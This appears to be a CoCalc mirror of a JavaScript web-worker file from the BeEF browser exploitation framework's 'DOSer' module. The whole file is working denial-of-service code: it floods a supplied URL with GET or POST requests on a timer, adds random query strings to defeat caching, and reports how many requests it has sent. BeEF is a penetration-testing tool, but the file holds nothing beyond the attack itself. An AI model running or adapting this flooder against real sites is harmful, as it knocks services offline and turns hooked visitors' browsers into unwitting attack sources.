Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/DOSer/worker.js
1154 views
1
var url = "";
2
var delay = 0;
3
var method = "";
4
var post_data = "";
5
var counter = 0;
6
7
onmessage = function (oEvent) {
8
url = oEvent.data['url'];
9
delay = oEvent.data['delay'];
10
method = oEvent.data['method'];
11
post_data = oEvent.data['post_data'];
12
doRequest();
13
};
14
15
function noCache(u){
16
var result = "";
17
if(u.indexOf("?") > 0){
18
result = "&" + Date.now() + Math.random();
19
}else{
20
result = "?" + Date.now() + Math.random();
21
}
22
return result;
23
}
24
25
function doRequest(){
26
setInterval(function(){
27
28
var xhr = new XMLHttpRequest();
29
xhr.open(method, url + noCache(url));
30
xhr.setRequestHeader('Accept','*/*');
31
xhr.setRequestHeader("Accept-Language", "en");
32
if(method == "POST"){
33
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
34
xhr.send(post_data);
35
}else{
36
xhr.send(null);
37
}
38
counter++;
39
40
},delay);
41
42
setInterval(function(){
43
postMessage("Requests sent: " + counter);
44
},10000);
45
}
46